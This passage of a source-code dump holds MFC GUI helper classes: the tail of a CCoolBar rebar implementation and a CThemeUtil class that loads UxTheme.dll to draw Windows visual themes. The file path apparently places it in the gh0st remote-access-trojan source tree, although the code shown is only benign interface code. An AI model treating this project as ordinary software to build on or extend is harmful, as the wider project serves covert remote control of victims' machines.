CCoolBar::CCoolBar() 46 | { 47 | } 48 | 49 | CCoolBar::~CCoolBar() 50 | { 51 | } 52 | 53 | ////////////////// 54 | // Create coolbar 55 | // 56 | BOOL CCoolBar::Create(CWnd* pParentWnd, DWORD dwStyle, 57 | DWORD dwAfxBarStyle, UINT nID) 58 | { 59 | ASSERT_VALID(pParentWnd); // must have a parent 60 | 61 | // dynamic coolbar not supported 62 | dwStyle &= ~CBRS_SIZE_DYNAMIC; 63 | 64 | // save the style (this code copied from MFC--probably unecessary) 65 | m_dwStyle = dwAfxBarStyle; 66 | if (nID == AFX_IDW_TOOLBAR) 67 | m_dwStyle |= CBRS_HIDE_INPLACE; 68 | 69 | // MFC requires these: 70 | dwStyle |= CCS_NODIVIDER|CCS_NOPARENTALIGN; 71 | 72 | // initialize cool common controls 73 | static BOOL bInit = FALSE; 74 | if (!bInit) { 75 | HMODULE h = ::GetModuleHandle(_T("ComCtl32")); 76 | ASSERT(h); 77 | 78 | typedef BOOL (CALLBACK* INITCC)(INITCOMMONCONTROLSEX*); 79 | INITCC pfn = (INITCC)GetProcAddress(h, _T("InitCommonControlsEx")); 80 | if (pfn) { 81 | INITCOMMONCONTROLSEX sex; 82 | sex.dwSize = sizeof(INITCOMMONCONTROLSEX); 83 | sex.dwICC = ICC_COOL_CLASSES; 84 | (*pfn)(&sex); 85 | } 86 | bInit = TRUE; 87 | } 88 | 89 | // Finally create the cool bar using given style and parent. 90 | CRect rc; 91 | rc.SetRectEmpty(); 92 | return CWnd::CreateEx(WS_EX_TOOLWINDOW, REBARCLASSNAME, NULL, 93 | dwStyle, rc, pParentWnd, nID); 94 | } 95 | 96 | ////////////////// 97 | // Invalidate coolbar: invalidate children too 98 | // 99 | void CCoolBar::Invalidate(BOOL bErase) 100 | { 101 | HWND hWndChild = ::GetWindow(m_hWnd, GW_CHILD); 102 | while (hWndChild != NULL) { 103 | ::InvalidateRect(hWndChild, NULL, bErase); 104 | hWndChild = ::GetNextWindow(hWndChild, GW_HWNDNEXT); 105 | } 106 | CControlBar::Invalidate(bErase); 107 | } 108 | 109 | ////////////////// 110 | // Set the background bitmap. This sets the background for all bands and 111 | // sets the RBBS_FIXEDBMP style so it looks like one background. 112 | // 113 | void CCoolBar::SetBackgroundBitmap(CBitmap* pBitmap) 114 | { 115 | HBITMAP hbm = (HBITMAP)pBitmap->GetSafeHandle(); 116 | CRebarBandInfo rbbi; 117 | int n = GetBandCount(); 118 | for (int i=0; i< n; i++) { 119 | rbbi.fMask = RBBIM_STYLE; 120 | GetBandInfo(i, &rbbi); 121 | rbbi.fMask |= RBBIM_BACKGROUND; 122 | rbbi.fStyle |= RBBS_FIXEDBMP; 123 | rbbi.hbmBack = hbm; 124 | SetBandInfo(i, &rbbi); 125 | } 126 | } 127 | 128 | ////////////////// 129 | // Set background/foreground colors for all bands 130 | // 131 | void CCoolBar::SetColors(COLORREF clrFG, COLORREF clrBG) 132 | { 133 | CRebarBandInfo rbbi; 134 | rbbi.fMask = RBBIM_COLORS; 135 | rbbi.clrFore = clrFG; 136 | rbbi.clrBack = clrBG; 137 | int n = GetBandCount(); 138 | for (int i=0; i< n; i++) 139 | SetBandInfo(i, &rbbi); 140 | } 141 | 142 | ////////////////// 143 | // Insert band. This overloaded version lets you create a child window band. 144 | // 145 | BOOL CCoolBar::InsertBand(CWnd* pWnd, CSize szMin, int cx, 146 | LPCTSTR lpText, int iPos, BOOL bNewRow) 147 | { 148 | CRebarBandInfo rbbi; 149 | rbbi.fMask = RBBIM_CHILD|RBBIM_CHILDSIZE|RBBIM_TEXT; 150 | if (cx>0) { 151 | rbbi.fMask |= RBBIM_SIZE; 152 | rbbi.cx = cx; 153 | } 154 | if (bNewRow) { 155 | rbbi.fMask |= RBBIM_STYLE; 156 | rbbi.fStyle |= RBBS_BREAK; 157 | } 158 | rbbi.hwndChild = pWnd->GetSafeHwnd(); 159 | rbbi.cxMinChild = szMin.cx; 160 | rbbi.cyMinChild = szMin.cy; 161 | rbbi.lpText = (LPTSTR)lpText; 162 | return InsertBand(iPos, &rbbi); 163 | } 164 | 165 | ////////////////// 166 | // Handle WM_CREATE: call virtual fn so derived class can create bands. 167 | // 168 | int CCoolBar::OnCreate(LPCREATESTRUCT lpcs) 169 | { 170 | return (CControlBar::OnCreate(lpcs)==-1 || !OnCreateBands()) ? -1 : 0; 171 | } 172 | 173 | ////////////////// 174 | // Standard UI handler updates any controls in the coolbar. 175 | // 176 | void CCoolBar::OnUpdateCmdUI(CFrameWnd* pTarget, BOOL bDisableIfNoHndler) 177 | { 178 | UpdateDialogControls(pTarget, bDisableIfNoHndler); 179 | } 180 | 181 | ///////////////// 182 | // These two functions are called by MFC to calculate the layout of 183 | // the main frame. Since CCoolBar is not designed to be dynamic, the 184 | // size is always fixed, and the same as the window size. 185 | // 186 | CSize CCoolBar::CalcDynamicLayout(int nLength, DWORD dwMode) 187 | { 188 | return CalcFixedLayout(dwMode & LM_STRETCH, dwMode & LM_HORZ); 189 | } 190 | 191 | CSize CCoolBar::CalcFixedLayout(BOOL bStretch, BOOL bHorz) 192 | { 193 | CRect rc; 194 | GetWindowRect(&rc); 195 | CSize sz(bHorz && bStretch ? 0x7FFF : rc.Width(), 196 | !bHorz && bStretch ? 0x7FFF : rc.Height()); 197 | return sz; 198 | } 199 | 200 | ////////////////// 201 | // Handle RBN_HEIGHTCHANGE notification: pass to virtual fn w/nicer args. 202 | // 203 | void CCoolBar::OnHeightChange(NMHDR* pNMHDR, LRESULT* pRes) 204 | { 205 | CRect rc; 206 | GetWindowRect(&rc); 207 | OnHeightChange(rc); 208 | *pRes = 0; // why not? 209 | } 210 | 211 | ////////////////// 212 | // Height changed: Default implementation does the right thing for MFC 213 | // doc/view: notify parent frame by posting a WM_SIZE message. This will 214 | // cause the frame to do RecalcLayout. The message must be posted, not sent, 215 | // because the coolbar could send RBN_HEIGHTCHANGE while the user is sizing, 216 | // which would be in the middle of a CFrame::RecalcLayout, and RecalcLayout 217 | // doesn't let you re-enter it. Posting guarantees that CFrameWnd can finish 218 | // any recalc it may be in the middle of *before* handling my posted WM_SIZE. 219 | // Very confusing, but that's MFC for you. 220 | // 221 | void CCoolBar::OnHeightChange(const CRect& rcNew) 222 | { 223 | CWnd* pParent = GetParent(); 224 | CRect rc; 225 | pParent->GetWindowRect(&rc); 226 | pParent->PostMessage(WM_SIZE, 0, MAKELONG(rc.Width(),rc.Height())); 227 | } 228 | 229 | void CCoolBar::OnPaint() 230 | { 231 | Default(); // bypass CControlBar 232 | } 233 | 234 | BOOL CCoolBar::OnEraseBkgnd(CDC* pDC) 235 | { 236 | return (BOOL)Default(); // bypass CControlBar 237 | } 238 | -------------------------------------------------------------------------------- /gh0st/ThemeUtil.cpp: -------------------------------------------------------------------------------- 1 | /********************************************************************** 2 | ** 3 | ** ThemeUtil.cpp : implementation file of CThemeUtil class 4 | ** 5 | ** by Andrzej Markowski June 2004 6 | ** 7 | **********************************************************************/ 8 | 9 | #include "stdafx.h" 10 | #include "themeutil.h" 11 | 12 | CThemeUtil::CThemeUtil() 13 | { 14 | m_hUxThemeDll = NULL; 15 | m_hRcDll = NULL; 16 | m_hTheme = NULL; 17 | FreeLibrary(); 18 | if(IsWinXP()) 19 | m_hUxThemeDll = ::LoadLibrary(CString(_T("UxTheme.dll"))); 20 | } 21 | 22 | CThemeUtil::~CThemeUtil() 23 | { 24 | FreeLibrary(); 25 | } 26 | 27 | void CThemeUtil::FreeLibrary() 28 | { 29 | CloseThemeData(); 30 | if(m_hUxThemeDll!=NULL) 31 | ::FreeLibrary(m_hUxThemeDll); 32 | m_hUxThemeDll = NULL; 33 | } 34 | 35 | BOOL CThemeUtil::IsWinXP(void) 36 | { 37 | OSVERSIONINFO osvi; 38 | ::ZeroMemory(&osvi, sizeof(OSVERSIONINFO)); 39 | osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 40 | ::GetVersionEx(&osvi); 41 | return MAKELONG(osvi.dwMajorVersion,osvi.dwMinorVersion) >= MAKELONG(5,1); 42 | } 43 | 44 | BOOL CThemeUtil::OpenThemeData(HWND hWnd, LPCWSTR pszClassList) 45 | { 46 | if(m_hUxThemeDll==NULL || hWnd==NULL || m_hTheme) 47 | return FALSE; 48 | UINT (PASCAL* pfnIsThemeActive)(); // IsThemeActive 49 | (FARPROC&)pfnIsThemeActive=GetProcAddress(m_hUxThemeDll,"IsThemeActive"); 50 | if(pfnIsThemeActive && pfnIsThemeActive()) 51 | { 52 | UINT (PASCAL* pfnOpenThemeData)(HWND hwnd, LPCWSTR pszClassList); 53 | (FARPROC&)pfnOpenThemeData=GetProcAddress(m_hUxThemeDll,"OpenThemeData"); 54 | if(pfnOpenThemeData) 55 | m_hTheme=pfnOpenThemeData(hWnd, pszClassList); 56 | if(m_hTheme) 57 | { 58 | WCHAR szThemeFileName[MAX_PATH]; 59 | WCHAR szColorBuff[MAX_PATH]; 60 | WCHAR szSizeBuff[MAX_PATH]; 61 | 62 | if(GetCurrentThemeName(szThemeFileName,MAX_PATH,szColorBuff,MAX_PATH,szSizeBuff,MAX_PATH)) 63 | { 64 | if((m_hRcDll = ::LoadLibrary(CString(szThemeFileName)))) 65 | return TRUE; 66 | } 67 | CloseThemeData(); 68 | return FALSE; 69 | } 70 | } 71 | return FALSE; 72 | } 73 | 74 | void CThemeUtil::CloseThemeData() 75 | { 76 | if(m_hTheme) 77 | { 78 | UINT (PASCAL* pfnCloseThemeData)(HANDLE hTheme); 79 | (FARPROC&)pfnCloseThemeData=GetProcAddress(m_hUxThemeDll,"CloseThemeData"); 80 | if(pfnCloseThemeData) 81 | pfnCloseThemeData((HANDLE)m_hTheme); 82 | } 83 | m_hTheme = NULL; 84 | if(m_hRcDll!=NULL) 85 | ::FreeLibrary(m_hRcDll); 86 | m_hRcDll = NULL; 87 | } 88 | 89 | BOOL CThemeUtil::DrawThemePart(HDC hdc, int iPartId, int iStateId, const RECT *pRect) 90 | { 91 | if(m_hTheme==NULL) 92 | return FALSE; 93 | UINT (PASCAL* pfnDrawThemeBackground)(UINT hTheme, HDC hdc, int iPartId, int iStateId, 94 | const RECT *pRect, const RECT* pClipRect); 95 | (FARPROC&)pfnDrawThemeBackground=GetProcAddress(m_hUxThemeDll,"DrawThemeBackground"); 96 | if(pfnDrawThemeBackground) 97 | { 98 | pfnDrawThemeBackground(m_hTheme, hdc, iPartId, iStateId, pRect, NULL); 99 | return TRUE; 100 | } 101 | return FALSE; 102 | } 103 | 104 | BOOL CThemeUtil::GetThemeColor(int iPartId, int iStateId, int iPropId, const COLORREF *pColor) 105 | { 106 | if(m_hTheme==NULL) 107 | return FALSE; 108 | UINT (PASCAL* pfnGetThemeColor)(UINT hTheme, int iPartId, int iStateId, int iPropId, 109 | const COLORREF *pColor); 110 | (FARPROC&)pfnGetThemeColor=GetProcAddress(m_hUxThemeDll,"GetThemeColor"); 111 | if(pfnGetThemeColor) 112 | { 113 | pfnGetThemeColor(m_hTheme, iPartId, iStateId, iPropId, pColor); 114 | return TRUE; 115 | } 116 | return FALSE; 117 | } 118 | 119 | BOOL CThemeUtil::GetThemeEnumValue(int iPartId, int iStateId, int iPropId, const int *piVal) 120 | { 121 | if(m_hTheme==NULL) 122 | return FALSE; 123 | 124 | UINT (PASCAL* pfnGetThemeEnumValue)(UINT hTheme, int iPartId, int iStateId, int iPropId, 125 | const int *piVal); 126 | (FARPROC&)pfnGetThemeEnumValue=GetProcAddress(m_hUxThemeDll,"GetThemeEnumValue"); 127 | if(pfnGetThemeEnumValue) 128 | { 129 | pfnGetThemeEnumValue(m_hTheme, iPartId, iStateId, iPropId, piVal); 130 | return TRUE; 131 | } 132 | return FALSE; 133 | } 134 | 135 | BOOL CThemeUtil::GetThemeInt(int iPartId, int iStateId, int iPropId, const int *piVal) 136 | { 137 | if(m_hTheme==NULL) 138 | return FALSE; 139 | 140 | UINT (PASCAL* pfnGetThemeInt)(UINT hTheme, int iPartId, int iStateId, int iPropId, 141 | const int *piVal); 142 | (FARPROC&)pfnGetThemeInt=GetProcAddress(m_hUxThemeDll,"GetThemeInt"); 143 | if(pfnGetThemeInt) 144 | { 145 | pfnGetThemeInt(m_hTheme, iPartId, iStateId, iPropId, piVal); 146 | return TRUE; 147 | } 148 | return FALSE; 149 | } 150 | 151 | BOOL CThemeUtil::GetThemeMargins(int iPartId, int iStateId, int iPropId, const MY_MARGINS *pMargins) 152 | { 153 | if(m_hTheme==NULL) 154 | return FALSE; 155 | 156 | UINT (PASCAL* pfnGetThemeMargins)(UINT hTheme, OPTIONAL HDC hdc, int iPartId, 157 | int iStateId, int iPropId, OPTIONAL RECT *prc, const MY_MARGINS *pMargins); 158 | (FARPROC&)pfnGetThemeMargins=GetProcAddress(m_hUxThemeDll,"GetThemeMargins"); 159 | if(pfnGetThemeMargins) 160 | { 161 | pfnGetThemeMargins(m_hTheme, NULL, iPartId, iStateId, iPropId, NULL, pMargins); 162 | return TRUE; 163 | } 164 | return FALSE; 165 | } 166 | 167 | BOOL CThemeUtil::GetThemeFilename(int iPartId, int iStateId, int iPropId, 168 | OUT LPWSTR pszThemeFileName, int cchMaxBuffChars) 169 | { 170 | if(m_hTheme==NULL) 171 | return FALSE; 172 | UINT (PASCAL* pfnGetThemeFilename)(UINT hTheme, int iPartId, int iStateId, int iPropId, 173 | OUT LPWSTR pszThemeFileName, int cchMaxBuffChars); 174 | (FARPROC&)pfnGetThemeFilename=GetProcAddress(m_hUxThemeDll,"GetThemeFilename"); 175 | if(pfnGetThemeFilename) 176 | { 177 | pfnGetThemeFilename(m_hTheme, iPartId, iStateId, iPropId, pszThemeFileName, cchMaxBuffChars); 178 | return TRUE; 179 | } 180 | return FALSE; 181 | } 182 | 183 | BOOL CThemeUtil::GetCurrentThemeName(OUT LPWSTR pszThemeFileName, int cchMaxNameChars, 184 | OUT OPTIONAL LPWSTR pszColorBuff, int cchMaxColorChars, 185 | OUT OPTIONAL LPWSTR pszSizeBuff, int cchMaxSizeChars) 186 | { 187 | if(m_hUxThemeDll==NULL) 188 | return FALSE; 189 | UINT (PASCAL* pfnGetCurrentThemeName)(OUT LPWSTR pszThemeFileName, 190 | int cchMaxNameChars, 191 | OUT OPTIONAL LPWSTR pszColorBuff, 192 | int cchMaxColorChars, 193 | OUT OPTIONAL LPWSTR pszSizeBuff, 194 | int cchMaxSizeChars); 195 | (FARPROC&)pfnGetCurrentThemeName=GetProcAddress(m_hUxThemeDll,"GetCurrentThemeName"); 196 | if(pfnGetCurrentThemeName) 197 | { 198 | pfnGetCurrentThemeName(pszThemeFileName,cchMaxNameChars,pszColorBuff,cchMaxColorChars,pszSizeBuff,cchMaxSizeChars); 199 | return TRUE; 200 | } 201 | return FALSE; 202 | } 203 | 204 | HBITMAP CThemeUtil::LoadBitmap(LPWSTR pszBitmapName) 205 | { 206 | if(m_hRcDll==NULL) 207 | return NULL; 208 | try 209 | { 210 | CString sBitmapName(pszBitmapName); 211 | sBitmapName.Replace('\\','_'); 212 | sBitmapName.Replace('.','_'); 213 | return ::LoadBitmap(m_hRcDll,sBitmapName); 214 | } 215 | catch(CMemoryException* e) 216 | { 217 | e->Delete(); 218 | } 219 | return NULL; 220 | } --------------------------------------------------------------------------------